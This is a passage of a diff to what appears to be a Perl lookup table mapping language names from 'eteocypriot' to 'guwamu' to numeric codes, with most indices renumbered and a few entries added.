    q(eteocypriot) => [
-      q(2215),
+      q(2216),
       q(0),
       ],
    q(ethiopian sign language) => [
-      q(2301),
+      q(2302),
       q(0),
       ],
    q(etkywan) => [
-      q(2893),
+      q(2896),
       q(0),
       ],
    q(eton (cameroon)) => [
-      q(2303),
+      q(2304),
       q(0),
       ],
    q(eton (vanuatu)) => [
-      q(2302),
+      q(2303),
       q(0),
       ],
    q(etruscan) => [
-      q(2306),
+      q(2307),
       q(0),
       ],
    q(etulo) => [
-      q(6941),
+      q(6942),
       q(0),
       ],
    q(evant) => [
-      q(1636),
+      q(1637),
       q(0),
       ],
    q(even) => [
-      q(2310),
+      q(2311),
       q(0),
       ],
    q(evenki) => [
-      q(2312),
+      q(2313),
       q(0),
       ],
    q(eviya) => [
-      q(2482),
+      q(2483),
       q(0),
       ],
    q(ewage-notu) => [
-      q(5018),
+      q(5020),
       q(0),
       ],
    q(ewe) => [
-      q(0127),
+      q(0128),
       q(0),
       ],
    q(ewondo) => [
-      q(0128),
+      q(0129),
       q(0),
       ],
    q(extremaduran) => [
-      q(2313),
+      q(2314),
       q(0),
       ],
    q(eyak) => [
-      q(2314),
+      q(2315),
       q(0),
       ],
    q(ezaa) => [
-      q(2316),
+      q(2317),
       q(0),
       ],
    q(fa d'ambu) => [
-      q(2319),
+      q(2320),
       q(0),
       ],
    q(fagani) => [
-      q(2321),
+      q(2322),
       q(0),
       ],
    q(fagauvea) => [
-      q(6947),
+      q(6948),
       q(1),
       ],
    q(faire atta) => [
-      q(1020),
+      q(1021),
       q(0),
       ],
    q(faita) => [
-      q(2325),
+      q(2326),
       q(0),
       ],
    q(faiwol) => [
-      q(2324),
+      q(2325),
       q(0),
       ],
    q(fala) => [
-      q(2332),
+      q(2333),
       q(0),
       ],
    q(falam chin) => [
-      q(1710),
+      q(1711),
       q(0),
       ],
    q(fali) => [
-      q(2351),
+      q(2352),
       q(0),
       ],
    q(faliscan) => [
-      q(7322),
+      q(7325),
       q(0),
       ],
    q(fam) => [
-      q(2328),
+      q(2329),
       q(0),
       ],
    q(fanagalo) => [
-      q(2359),
+      q(2360),
       q(0),
       ],
    q(fanamaket) => [
-      q(1244),
+      q(1245),
       q(0),
       ],
    q(fanbak) => [
-      q(2358),
+      q(2359),
       q(0),
       ],
    q(fang) => [
-      q(0129),
+      q(0130),
       q(0),
       ],
    q(fang (cameroon)) => [
-      q(2326),
+      q(2327),
       q(0),
       ],
    q(fang (equatorial guinea)) => [
-      q(0129),
+      q(0130),
       q(1),
       ],
    q(fania) => [
-      q(2360),
+      q(2361),
       q(0),
       ],
    q(fanti) => [
-      q(0131),
+      q(0132),
       q(0),
       ],
    q(far western muria) => [
-      q(2357),
+      q(2358),
       q(0),
       ],
    q(farefare) => [
-      q(2654),
+      q(2656),
       q(0),
       ],
    q(faroese) => [
-      q(0130),
+      q(0131),
       q(0),
       ],
    q(fas) => [
-      q(2367),
+      q(2368),
       q(0),
       ],
    q(fasu) => [
-      q(2318),
+      q(2319),
       q(0),
       ],
    q(fataleka) => [
-      q(2330),
+      q(2331),
       q(0),
       ],
    q(fataluku) => [
-      q(1974),
+      q(1975),
       q(0),
       ],
    q(fayu) => [
-      q(2331),
+      q(2332),
       q(0),
       ],
    q(fe'fe') => [
-      q(2356),
+      q(2357),
       q(0),
       ],
    q(fedan) => [
-      q(5392),
+      q(5396),
       q(1),
       ],
    q(fembe) => [
-      q(0663),
+      q(0664),
       q(0),
       ],
    q(fernando po creole english) => [
-      q(2366),
+      q(2367),
       q(0),
       ],
    q(feroge) => [
-      q(2337),
+      q(2338),
       q(0),
       ],
    q(fiji hindi) => [
-      q(2751),
+      q(2753),
       q(0),
       ],
    q(fijian) => [
-      q(0132),
+      q(0133),
       q(0),
       ],
    q(filipino) => [
-      q(0133),
+      q(0134),
       q(0),
       ],
    q(filomena mata-coahuitlan totonac) => [
@@ -32509,215 +32539,215 @@
       q(0),
       ],
    q(finland-swedish sign language) => [
-      q(2376),
+      q(2377),
       q(0),
       ],
    q(finlandssvenskt teckensprak) => [
-      q(2376),
+      q(2377),
       q(1),
       ],
    q(finnish) => [
-      q(0134),
+      q(0135),
       q(0),
       ],
    q(finnish sign language) => [
-      q(2374),
+      q(2375),
       q(0),
       ],
    q(finno-ugrian languages) => [
-      q(0135),
+      q(0136),
       q(0),
       ],
    q(finongan) => [
-      q(2322),
+      q(2323),
       q(0),
       ],
    q(fipa) => [
-      q(2343),
+      q(2344),
       q(0),
       ],
    q(firan) => [
-      q(2344),
+      q(2345),
       q(0),
       ],
    q(fiwaga) => [
-      q(2346),
+      q(2347),
       q(0),
       ],
    q(flaaitaal) => [
-      q(2355),
+      q(2356),
       q(0),
       ],
    q(flemish) => [
-      q(0116),
+      q(0117),
       q(1),
       ],
    q(flemish sign language) => [
-      q(6980),
+      q(6981),
       q(1),
       ],
    q(flinders island) => [
-      q(2353),
+      q(2354),
       q(0),
       ],
    q(foau) => [
-      q(2350),
+      q(2351),
       q(0),
       ],
    q(foi) => [
-      q(2362),
+      q(2363),
       q(0),
       ],
    q(foia foia) => [
-      q(2338),
+      q(2339),
       q(0),
       ],
    q(folopa) => [
-      q(5569),
+      q(5573),
       q(0),
       ],
    q(foma) => [
-      q(2363),
+      q(2364),
       q(0),
       ],
    q(fon) => [
-      q(0136),
+      q(0137),
       q(0),
       ],
    q(fongoro) => [
-      q(2340),
+      q(2341),
       q(0),
       ],
    q(foodo) => [
-      q(2361),
+      q(2362),
       q(0),
       ],
    q(forak) => [
-      q(2372),
+      q(2373),
       q(0),
       ],
    q(fordata) => [
-      q(2369),
+      q(2370),
       q(0),
       ],
    q(fore) => [
-      q(2364),
+      q(2365),
       q(0),
       ],
    q(forest enets) => [
-      q(2263),
+      q(2264),
       q(0),
       ],
    q(formosan languages) => [
-      q(0504),
+      q(0505),
       q(0),
       ],
    q(fortsenal) => [
-      q(2373),
+      q(2374),
       q(0),
       ],
    q(francisco leon zoque) => [
-      q(7895),
+      q(7898),
       q(0),
       ],
    q(francoprovencal) => [
-      q(2371),
+      q(2372),
       q(1),
       ],
    q(frankish) => [
-      q(2370),
+      q(2371),
       q(0),
       ],
    q(french) => [
-      q(0137),
+      q(0138),
       q(0),
       ],
    q(french belgian sign language) => [
-      q(5976),
+      q(5977),
       q(1),
       ],
    q(french sign language) => [
-      q(2375),
+      q(2376),
       q(0),
       ],
    q(french, middle (ca.1400-1600)) => [
-      q(0138),
+      q(0139),
       q(0),
       ],
    q(french, old (842-ca.1400)) => [
-      q(0139),
+      q(0140),
       q(0),
       ],
    q(french-based creoles and pidgins) => [
-      q(0094),
+      q(0095),
       q(2),
       ],
    q(friulian) => [
-      q(0144),
+      q(0145),
       q(0),
       ],
    q(fulah) => [
-      q(0143),
+      q(0144),
       q(0),
       ],
    q(fuliiru) => [
-      q(2354),
+      q(2355),
       q(0),
       ],
    q(fulnio) => [
-      q(2386),
+      q(2387),
       q(0),
       ],
    q(fum) => [
-      q(2385),
+      q(2386),
       q(0),
       ],
    q(fungwa) => [
-      q(6874),
+      q(6875),
       q(0),
       ],
    q(fur) => [
-      q(2392),
+      q(2393),
       q(0),
       ],
    q(furu) => [
-      q(2389),
+      q(2390),
       q(0),
       ],
    q(futuna-aniwa) => [
-      q(2388),
+      q(2389),
       q(0),
       ],
    q(fuyug) => [
-      q(2391),
+      q(2392),
       q(0),
       ],
    q(fwai) => [
-      q(2393),
+      q(2394),
       q(0),
       ],
    q(fwe) => [
-      q(2394),
+      q(2395),
       q(0),
       ],
    q(fyam) => [
-      q(5661),
+      q(5663),
       q(0),
       ],
    q(fyer) => [
-      q(2342),
+      q(2343),
       q(0),
       ],
    q(ga) => [
-      q(0145),
+      q(0146),
       q(0),
       ],
    q(ga'anda) => [
-      q(2605),
+      q(2607),
       q(0),
       ],
    q(ga'dang) => [
-      q(2455),
+      q(2456),
       q(0),
       ],
    q(gaa) => [
@@ -32729,103 +32759,107 @@
       q(0),
       ],
    q(gabi-gabi) => [
-      q(2437),
+      q(2438),
       q(0),
       ],
+   q(gabogbo) => [
+      q(2514),
+      q(0),
+      ],
    q(gabri) => [
-      q(2395),
+      q(2396),
       q(0),
       ],
    q(gabrielino-fernandeno) => [
-      q(7326),
+      q(7329),
       q(0),
       ],
    q(gadang) => [
-      q(2459),
+      q(2460),
       q(0),
       ],
    q(gaddang) => [
-      q(2397),
+      q(2398),
       q(0),
       ],
    q(gaddi) => [
-      q(2426),
+      q(2427),
       q(0),
       ],
    q(gade) => [
-      q(2473),
+      q(2474),
       q(0),
       ],
    q(gade lohar) => [
-      q(2449),
+      q(2450),
       q(0),
       ],
    q(gadjerawang) => [
-      q(2456),
+      q(2457),
       q(0),
       ],
    q(gadsup) => [
-      q(2403),
+      q(2404),
       q(0),
       ],
    q(gaelic) => [
-      q(0153),
+      q(0154),
       q(0),
       ],
    q(gafat) => [
-      q(2487),
+      q(2488),
       q(0),
       ],
    q(gagadu) => [
-      q(2435),
+      q(2436),
       q(0),
       ],
    q(gagauz) => [
-      q(2400),
+      q(2401),
       q(0),
       ],
    q(gagnoa bete) => [
-      q(1475),
+      q(1476),
       q(0),
       ],
    q(gagu) => [
-      q(2496),
+      q(2497),
       q(0),
       ],
    q(gahri) => [
-      q(1156),
+      q(1157),
       q(0),
       ],
    q(gaikundi) => [
-      q(2421),
+      q(2422),
       q(0),
       ],
    q(gail) => [
-      q(2511),
+      q(2512),
       q(0),
       ],
    q(gaina) => [
-      q(2446),
+      q(2447),
       q(0),
       ],
    q(gal) => [
-      q(2409),
+      q(2410),
       q(0),
       ],
    q(galambu) => [
-      q(2546),
+      q(2548),
       q(0),
       ],
    q(galatian) => [
-      q(7323),
+      q(7326),
       q(0),
       ],
    q(galela) => [
-      q(2424),
+      q(2425),
       q(0),
       ],
    q(galeya) => [
-      q(2411),
+      q(2412),
       q(0),
       ],
    q(galibi carib) => [
@@ -32833,223 +32867,223 @@
       q(0),
       ],
    q(galice) => [
-      q(2443),
+      q(2444),
       q(0),
       ],
    q(galician) => [
-      q(0155),
+      q(0156),
       q(0),
       ],
    q(galindan) => [
-      q(7329),
+      q(7332),
       q(0),
       ],
    q(gallurese sardinian) => [
-      q(5944),
+      q(5945),
       q(0),
       ],
    q(galo) => [
-      q(0612),
+      q(0613),
       q(0),
       ],
    q(galolen) => [
-      q(2405),
+      q(2406),
       q(0),
       ],
    q(gamale kham) => [
-      q(3313),
+      q(3314),
       q(0),
       ],
    q(gambera) => [
-      q(2551),
+      q(2553),
       q(0),
       ],
    q(gambian wolof) => [
-      q(7185),
+      q(7187),
       q(0),
       ],
    q(gamilaraay) => [
-      q(3428),
+      q(3429),
       q(0),
       ],
    q(gamit) => [
-      q(2427),
+      q(2428),
       q(0),
       ],
    q(gamkonora) => [
-      q(2404),
+      q(2405),
       q(0),
       ],
    q(gamo) => [
-      q(2559),
+      q(2561),
       q(0),
       ],
    q(gamo-ningi) => [
-      q(1473),
+      q(1474),
       q(0),
       ],
    q(gan chinese) => [
-      q(2407),
+      q(2408),
       q(0),
       ],
    q(gana) => [
-      q(2571),
+      q(2573),
       q(1),
       ],
    q(ganang) => [
-      q(2567),
+      q(2569),
       q(0),
       ],
    q(ganda) => [
-      q(0257),
+      q(0258),
       q(0),
       ],
    q(gandhari) => [
-      q(5419),
+      q(5423),
       q(0),
       ],
    q(gane) => [
-      q(2704),
+      q(2706),
       q(0),
       ],
    q(ganggalida) => [
-      q(2442),
+      q(2443),
       q(0),
       ],
    q(ganglau) => [
-      q(2494),
+      q(2495),
       q(0),
       ],
    q(gangte) => [
-      q(2564),
+      q(2566),
       q(0),
       ],
    q(gangulu) => [
-      q(2572),
+      q(2574),
       q(0),
       ],
    q(gants) => [
-      q(2408),
+      q(2409),
       q(0),
       ],
    q(ganza) => [
-      q(2702),
+      q(2704),
       q(0),
       ],
    q(ganzi) => [
-      q(2580),
+      q(2582),
       q(0),
       ],
    q(gao) => [
-      q(2488),
+      q(2489),
       q(0),
       ],
    q(gapapaiwa) => [
-      q(5652),
+      q(5654),
       q(0),
       ],
    q(garhwali) => [
-      q(2428),
+      q(2429),
       q(0),
       ],
    q(garifuna) => [
-      q(1638),
+      q(1639),
       q(0),
       ],
    q(garig-ilgar) => [
-      q(2948),
+      q(2951),
       q(0),
       ],
    q(garingbal) => [
-      q(7328),
+      q(7331),
       q(0),
       ],
    q(garlali) => [
-      q(2545),
+      q(2547),
       q(0),
       ],
    q(garo) => [
-      q(2621),
+      q(2623),
       q(0),
       ],
    q(garre) => [
-      q(2484),
+      q(2485),
       q(0),
       ],
    q(garrwa) => [
-      q(7203),
+      q(7205),
       q(0),
       ],
    q(garus) => [
-      q(2691),
+      q(2693),
       q(0),
       ],
    q(garza) => [
-      q(7331),
+      q(7334),
       q(0),
       ],
    q(gata') => [
-      q(2410),
+      q(2411),
       q(0),
       ],
    q(gavak) => [
-      q(2077),
+      q(2078),
       q(0),
       ],
    q(gavar) => [
-      q(2597),
+      q(2599),
       q(0),
       ],
    q(gaviao do jiparana) => [
-      q(2669),
+      q(2671),
       q(0),
       ],
    q(gawar-bati) => [
-      q(2685),
+      q(2687),
       q(0),
       ],
    q(gawwada) => [
-      q(2677),
+      q(2679),
       q(0),
       ],
    q(gayil) => [
-      q(2697),
+      q(2699),
       q(0),
       ],
    q(gayo) => [
-      q(0146),
+      q(0147),
       q(0),
       ],
    q(gazi) => [
-      q(2703),
+      q(2705),
       q(0),
       ],
    q(gbagyi) => [
-      q(2433),
+      q(2434),
       q(0),
       ],
    q(gban) => [
-      q(2496),
+      q(2497),
       q(1),
       ],
    q(gbanu) => [
-      q(2436),
+      q(2437),
       q(0),
       ],
    q(gbanziri) => [
-      q(2422),
+      q(2423),
       q(0),
       ],
    q(gbari) => [
-      q(2439),
+      q(2440),
       q(0),
       ],
    q(gbaya) => [
-      q(0147),
+      q(0148),
       q(0),
       ],
    q(gbaya (central african republic)) => [
-      q(0147),
+      q(0148),
       q(1),
       ],
    q(gbaya (sudan)) => [
@@ -33057,43 +33091,43 @@
       q(0),
       ],
    q(gbaya-bossangoa) => [
-      q(2431),
+      q(2432),
       q(0),
       ],
    q(gbaya-bozoum) => [
-      q(2432),
+      q(2433),
       q(0),
       ],
    q(gbaya-mbodomo) => [
-      q(2556),
+      q(2558),
       q(0),
       ],
    q(gbayi) => [
-      q(2695),
+      q(2697),
       q(0),
       ],
    q(gbesi gbe) => [
-      q(2434),
+      q(2435),
       q(0),
       ],
    q(gbii) => [
-      q(2489),
+      q(2490),
       q(0),
       ],
    q(gbin) => [
-      q(7324),
+      q(7327),
       q(0),
       ],
    q(gbiri-niragu) => [
-      q(2613),
+      q(2615),
       q(0),
       ],
    q(gboloo grebo) => [
-      q(2472),
+      q(2473),
       q(0),
       ],
    q(ge) => [
-      q(2781),
+      q(2783),
       q(0),
       ],
    q(geba karen) => [
@@ -33101,239 +33135,239 @@
       q(0),
       ],
    q(gebe) => [
-      q(2476),
+      q(2477),
       q(0),
       ],
    q(gedaged) => [
-      q(2452),
+      q(2453),
       q(0),
       ],
    q(gedeo) => [
-      q(2138),
+      q(2139),
       q(0),
       ],
    q(geez) => [
-      q(0151),
+      q(0152),
       q(0),
       ],
    q(geji) => [
-      q(2527),
+      q(2529),
       q(0),
       ],
    q(gejia) => [
-      q(2781),
+      q(2783),
       q(1),
       ],
    q(geko karen) => [
-      q(2502),
+      q(2503),
       q(0),
       ],
    q(gela) => [
-      q(4940),
+      q(4942),
       q(0),
       ],
    q(geman deng) => [
-      q(4648),
+      q(4649),
       q(1),
       ],
    q(geme) => [
-      q(2480),
+      q(2481),
       q(0),
       ],
    q(gen) => [
-      q(2477),
+      q(2478),
       q(0),
       ],
    q(gende) => [
-      q(2399),
+      q(2400),
       q(0),
       ],
    q(gengle) => [
-      q(2474),
+      q(2475),
       q(0),
       ],
    q(georgian) => [
-      q(0149),
+      q(0150),
       q(0),
       ],
    q(gepo) => [
-      q(7619),
+      q(7622),
       q(0),
       ],
    q(gera) => [
-      q(2483),
+      q(2484),
       q(0),
       ],
    q(gergiko) => [
-      q(4447),
+      q(4448),
       q(1),
       ],
    q(german) => [
-      q(0150),
+      q(0151),
       q(0),
       ],
    q(german sign language) => [
-      q(2629),
+      q(2631),
       q(0),
       ],
    q(german, low) => [
-      q(0306),
+      q(0307),
       q(2),
       ],
    q(german, middle high (ca.1050-1500)) => [
-      q(0157),
+      q(0158),
       q(0),
       ],
    q(german, old high (ca.750-1050)) => [
-      q(0158),
+      q(0159),
       q(0),
       ],
    q(germanic languages) => [
-      q(0148),
+      q(0149),
       q(0),
       ],
    q(geruma) => [
-      q(2470),
+      q(2471),
       q(0),
       ],
    q(geser-gorom) => [
-      q(2481),
+      q(2482),
       q(0),
       ],
    q(ghadames) => [
-      q(2498),
+      q(2499),
       q(0),
       ],
    q(ghanaian pidgin english) => [
-      q(2603),
+      q(2605),
       q(0),
       ],
    q(ghanaian sign language) => [
-      q(2628),
+      q(2630),
       q(0),
       ],
    q(ghandruk sign language) => [
-      q(2466),
+      q(2467),
       q(0),
       ],
    q(ghanongga) => [
-      q(2504),
+      q(2505),
       q(0),
       ],
    q(ghari) => [
-      q(2614),
+      q(2616),
       q(0),
       ],
    q(ghayavi) => [
-      q(1312),
+      q(1313),
       q(0),
       ],
    q(gheg albanian) => [
-      q(0755),
+      q(0756),
       q(0),
       ],
    q(ghera) => [
-      q(2506),
+      q(2507),
       q(0),
       ],
    q(ghodoberi) => [
-      q(2463),
+      q(2464),
       q(0),
       ],
    q(ghomala') => [
-      q(1047),
+      q(1048),
       q(0),
       ],
    q(ghomara) => [
-      q(2505),
+      q(2506),
       q(0),
       ],
    q(ghotuo) => [
-      q(0538),
+      q(0539),
       q(0),
       ],
    q(ghulfan) => [
-      q(2503),
+      q(2504),
       q(0),
       ],
    q(giangan) => [
-      q(1168),
+      q(1169),
       q(0),
       ],
    q(gibanawa) => [
-      q(2510),
+      q(2511),
       q(0),
       ],
    q(gichuka) => [
-      q(1901),
+      q(1902),
       q(1),
       ],
    q(gidar) => [
-      q(2512),
+      q(2513),
       q(0),
       ],
    q(giiwo) => [
-      q(3417),
+      q(3418),
       q(0),
       ],
    q(gikuyu) => [
-      q(0224),
+      q(0225),
       q(1),
       ],
    q(gikyode) => [
-      q(0586),
+      q(0587),
       q(0),
       ],
    q(gilaki) => [
-      q(2544),
+      q(2546),
       q(0),
       ],
    q(gilbertese) => [
-      q(0152),
+      q(0153),
       q(0),
       ],
    q(gilima) => [
-      q(2524),
+      q(2526),
       q(0),
       ],
    q(gilyak) => [
-      q(4891),
+      q(4893),
       q(0),
       ],
    q(gimi (eastern highlands)) => [
-      q(2515),
+      q(2517),
       q(0),
       ],
    q(gimi (west new britain)) => [
-      q(2517),
+      q(2519),
       q(0),
       ],
    q(gimme) => [
-      q(3465),
+      q(3466),
       q(0),
       ],
    q(gimnime) => [
-      q(2557),
+      q(2559),
       q(0),
       ],
    q(ginuman) => [
-      q(2573),
+      q(2575),
       q(0),
       ],
    q(ginyanga) => [
-      q(0997),
+      q(0998),
       q(0),
       ],
    q(girawa) => [
-      q(1055),
+      q(1056),
       q(0),
       ],
    q(giryama) => [
-      q(5151),
+      q(5155),
       q(0),
       ],
    q(githabul) => [
-      q(2514),
+      q(2516),
       q(0),
       ],
    q(gitonga) => [
@@ -33341,15 +33375,15 @@
       q(0),
       ],
    q(gitua) => [
-      q(2495),
+      q(2496),
       q(0),
       ],
    q(gitxsan) => [
-      q(2521),
+      q(2523),
       q(0),
       ],
    q(giyug) => [
-      q(2525),
+      q(2527),
       q(0),
       ],
    q(gizrra) => [
@@ -33357,71 +33391,71 @@
       q(0),
       ],
    q(glaro-twabo) => [
-      q(2547),
+      q(2549),
       q(0),
       ],
    q(glavda) => [
-      q(2549),
+      q(2551),
       q(0),
       ],
    q(glio-oubi) => [
-      q(5326),
+      q(5330),
       q(0),
       ],
    q(gnau) => [
-      q(2578),
+      q(2580),
       q(0),
       ],
    q(goan konkani) => [
-      q(2592),
+      q(2594),
       q(0),
       ],
    q(goaria) => [
-      q(2513),
+      q(2515),
       q(0),
       ],
    q(gobasi) => [
-      q(2588),
+      q(2590),
       q(0),
       ],
    q(gobu) => [
-      q(2599),
+      q(2601),
       q(0),
       ],
    q(godie) => [
-      q(2584),
+      q(2586),
       q(0),
       ],
    q(godwari) => [
-      q(2469),
+      q(2470),
       q(0),
       ],
    q(goemai) => [
-      q(0799),
+      q(0800),
       q(0),
       ],
    q(gofa) => [
-      q(2586),
+      q(2588),
       q(0),
       ],
    q(gogo) => [
-      q(2587),
+      q(2589),
       q(0),
       ],
    q(gogodala) => [
-      q(2497),
+      q(2498),
       q(0),
       ],
    q(gokana) => [
-      q(2535),
+      q(2537),
       q(0),
       ],
    q(gola) => [
-      q(2591),
+      q(2593),
       q(0),
       ],
    q(golin) => [
-      q(2664),
+      q(2666),
       q(0),
       ],
    q(golpa) => [
@@ -33429,375 +33463,379 @@
       q(0),
       ],
    q(gondi) => [
-      q(0159),
+      q(0160),
       q(0),
       ],
    q(gone dau) => [
-      q(2593),
+      q(2595),
       q(0),
       ],
    q(gongduk) => [
-      q(2585),
+      q(2587),
       q(0),
       ],
    q(gonja) => [
-      q(2530),
+      q(2532),
       q(0),
       ],
    q(gooniyandi) => [
-      q(2570),
+      q(2572),
       q(0),
       ],
    q(gor) => [
-      q(2608),
+      q(2610),
       q(0),
       ],
    q(gorakor) => [
-      q(2583),
+      q(2585),
       q(0),
       ],
    q(gorap) => [
-      q(2595),
+      q(2597),
       q(0),
       ],
    q(goreng) => [
-      q(7327),
+      q(7330),
       q(0),
       ],
    q(gorontalo) => [
-      q(0160),
+      q(0161),
       q(0),
       ],
    q(gorovu) => [
-      q(2618),
+      q(2620),
       q(0),
       ],
    q(gorowa) => [
-      q(2598),
+      q(2600),
       q(0),
       ],
    q(gothic) => [
-      q(0161),
+      q(0162),
       q(0),
       ],
    q(goundo) => [
-      q(2600),
+      q(2602),
       q(0),
       ],
    q(gourmanchema) => [
-      q(2659),
+      q(2661),
       q(0),
       ],
    q(gowlan) => [
-      q(2589),
+      q(2591),
       q(0),
       ],
    q(gowli) => [
-      q(2590),
+      q(2592),
       q(0),
       ],
    q(gowro) => [
-      q(2679),
+      q(2681),
       q(0),
       ],
    q(gozarkhani) => [
-      q(2601),
+      q(2603),
       q(0),
       ],
    q(grangali) => [
-      q(4941),
+      q(4943),
       q(0),
       ],
    q(grass koiari) => [
-      q(3190),
+      q(3192),
       q(0),
       ],
    q(grebo) => [
-      q(0162),
+      q(0163),
       q(0),
       ],
    q(greek) => [
-      q(0164),
+      q(0165),
       q(1),
       ],
    q(greek languages) => [
-      q(0508),
+      q(0509),
       q(0),
       ],
    q(greek sign language) => [
-      q(2635),
+      q(2637),
       q(0),
       ],
    q(greek, ancient (to 1453)) => [
-      q(0163),
+      q(0164),
       q(0),
       ],
    q(greek, modern (1453-)) => [
-      q(0164),
+      q(0165),
       q(0),
       ],
    q(green gelao) => [
-      q(2518),
+      q(2520),
       q(0),
       ],
    q(greenlandic) => [
-      q(0211),
+      q(0212),
       q(1),
       ],
    q(grenadian creole english) => [
-      q(2445),
+      q(2446),
       q(0),
       ],
    q(gresi) => [
-      q(2620),
+      q(2622),
       q(0),
       ],
    q(groma) => [
-      q(2617),
+      q(2619),
       q(0),
       ],
    q(gronings) => [
-      q(2596),
+      q(2598),
       q(0),
       ],
    q(gros ventre) => [
-      q(0925),
+      q(0926),
       q(0),
       ],
    q(gua) => [
-      q(2688),
+      q(2690),
       q(0),
       ],
    q(guadeloupean creole french) => [
-      q(2444),
+      q(2445),
       q(0),
       ],
    q(guahibo) => [
-      q(2645),
+      q(2647),
       q(0),
       ],
    q(guaja) => [
-      q(2665),
+      q(2667),
       q(0),
       ],
    q(guajajara) => [
-      q(2639),
+      q(2641),
       q(0),
       ],
    q(guambiano) => [
-      q(2649),
+      q(2651),
       q(0),
       ],
    q(guana (brazil)) => [
-      q(2607),
+      q(2609),
       q(0),
       ],
    q(guana (paraguay)) => [
-      q(2661),
+      q(2663),
       q(0),
       ],
    q(guanano) => [
-      q(2662),
+      q(2664),
       q(0),
       ],
    q(guanche) => [
-      q(2565),
+      q(2567),
       q(0),
       ],
    q(guanyinqiao) => [
-      q(3098),
+      q(3100),
       q(0),
       ],
    q(guarani) => [
-      q(0165),
+      q(0166),
       q(0),
       ],
    q(guarayu) => [
-      q(2700),
+      q(2702),
       q(0),
       ],
    q(guarequena) => [
-      q(2398),
+      q(2399),
       q(0),
       ],
    q(guatemalan sign language) => [
-      q(2631),
+      q(2633),
       q(0),
       ],
    q(guato) => [
-      q(2636),
+      q(2638),
       q(0),
       ],
    q(guayabero) => [
-      q(2651),
+      q(2653),
       q(0),
       ],
    q(gudang) => [
-      q(7325),
+      q(7328),
       q(0),
       ],
    q(gudanji) => [
-      q(4900),
+      q(4902),
       q(0),
       ],
    q(gude) => [
-      q(2453),
+      q(2454),
       q(0),
       ],
    q(gudu) => [
-      q(2468),
+      q(2469),
       q(0),
       ],
    q(guduf-gava) => [
-      q(2454),
+      q(2455),
       q(0),
       ],
+   q(guebie) => [
+      q(2514),
+      q(1),
+      ],
    q(guernesiais) => [
-      q(5044),
+      q(5048),
       q(1),
       ],
    q(guerrero amuzgo) => [
-      q(0784),
+      q(0785),
       q(0),
       ],
    q(guerrero nahuatl) => [
-      q(4845),
+      q(4847),
       q(0),
       ],
    q(guevea de humboldt zapotec) => [
-      q(7902),
+      q(7905),
       q(0),
       ],
    q(gugadj) => [
-      q(2490),
+      q(2491),
       q(0),
       ],
    q(gugu badhun) => [
-      q(2451),
+      q(2452),
       q(0),
       ],
    q(gugu warra) => [
-      q(7213),
+      q(7215),
       q(0),
       ],
    q(gugubera) => [
-      q(3414),
+      q(3415),
       q(0),
       ],
    q(guguyimidjir) => [
-      q(3423),
+      q(3424),
       q(0),
       ],
    q(guhu-samane) => [
-      q(2507),
+      q(2508),
       q(0),
       ],
    q(guianese creole french) => [
-      q(2447),
+      q(2448),
       q(0),
       ],
    q(guibei zhuang) => [
-      q(7822),
+      q(7825),
       q(0),
       ],
    q(guiberoua bete) => [
-      q(1129),
+      q(1130),
       q(0),
       ],
    q(guibian zhuang) => [
-      q(7824),
+      q(7827),
       q(0),
       ],
    q(guila zapotec) => [
-      q(7944),
+      q(7947),
       q(0),
       ],
    q(guinea kpelle) => [
-      q(2537),
+      q(2539),
       q(0),
       ],
    q(guinean sign language) => [
-      q(2655),
+      q(2657),
       q(0),
       ],
    q(guiqiong) => [
-      q(2606),
+      q(2608),
       q(0),
       ],
    q(gujarati) => [
-      q(0167),
+      q(0168),
       q(0),
       ],
    q(gujari) => [
-      q(2532),
+      q(2534),
       q(0),
       ],
    q(gula (central african republic)) => [
-      q(3218),
+      q(3220),
       q(0),
       ],
    q(gula (chad)) => [
-      q(2548),
+      q(2550),
       q(0),
       ],
    q(gula iro) => [
-      q(2543),
+      q(2545),
       q(0),
       ],
    q(gula'alaa) => [
-      q(2552),
+      q(2554),
       q(0),
       ],
    q(gulay) => [
-      q(2666),
+      q(2668),
       q(0),
       ],
    q(gule) => [
-      q(2550),
+      q(2552),
       q(0),
       ],
    q(gulf arabic) => [
-      q(0639),
+      q(0640),
       q(0),
       ],
    q(guliguli) => [
-      q(2542),
+      q(2544),
       q(0),
       ],
    q(gumalu) => [
-      q(2558),
+      q(2560),
       q(0),
       ],
    q(gumatj) => [
-      q(2574),
+      q(2576),
       q(0),
       ],
    q(gumawana) => [
-      q(2672),
+      q(2674),
       q(0),
       ],
    q(gumuz) => [
-      q(2647),
+      q(2649),
       q(0),
       ],
    q(gun) => [
-      q(2658),
+      q(2660),
       q(0),
       ],
    q(gundi) => [
-      q(2457),
+      q(2458),
       q(0),
       ],
    q(gunditjmara) => [
-      q(2529),
+      q(2531),
       q(0),
       ],
    q(gundungurra) => [
-      q(7460),
+      q(7463),
       q(0),
       ],
    q(gungabula) => [
-      q(2694),
+      q(2696),
       q(0),
       ],
    q(gungu) => [
@@ -33805,323 +33843,323 @@
       q(0),
       ],
    q(guntai) => [
-      q(2577),
+      q(2579),
       q(0),
       ],
    q(gunwinggu) => [
-      q(2652),
+      q(2654),
       q(0),
       ],
    q(gunya) => [
-      q(2701),
+      q(2703),
       q(0),
       ],
    q(gupa-abawa) => [
-      q(2602),
+      q(2604),
       q(0),
       ],
    q(gupapuyngu) => [
-      q(2643),
+      q(2645),
       q(0),
       ],
    q(guragone) => [
-      q(2491),
+      q(2492),
       q(0),
       ],
    q(guramalum) => [
-      q(2627),
+      q(2629),
       q(0),
       ],
    q(gurani) => [
-      q(2707),
+      q(2709),
       q(0),
       ],
    q(gurdjar) => [
-      q(2458),
+      q(2459),
       q(0),
       ],
    q(gureng gureng) => [
-      q(2576),
+      q(2578),
       q(0),
       ],
    q(gurgula) => [
-      q(2492),
+      q(2493),
       q(0),
       ],
    q(guriaso) => [
-      q(2625),
+      q(2627),
       q(0),
       ],
    q(gurindji kriol) => [
-      q(2531),
+      q(2533),
       q(0),
       ],
    q(gurinji) => [
-      q(2642),
+      q(2644),
       q(0),
       ],
    q(gurmana) => [
-      q(2667),
+      q(2669),
       q(0),
       ],
    q(guro) => [
-      q(2581),
+      q(2583),
       q(0),
       ],
    q(gurung) => [
-      q(2671),
+      q(2673),
       q(0),
       ],
    q(guruntum-mbaaru) => [
-      q(2611),
+      q(2613),
       q(0),
       ],
    q(gusan) => [
-      q(2632),
+      q(2634),
       q(1),
       ],
    q(gusii) => [
-      q(2660),
+      q(2662),
       q(0),
       ],
    q(gusilay) => [
-      q(2630),
+      q(2632),
       q(0),
       ],
    q(guwa) => [
-      q(7333),
+      q(7336),
       q(0),
       ],
    q(guwamu) => [
-      q(2686),
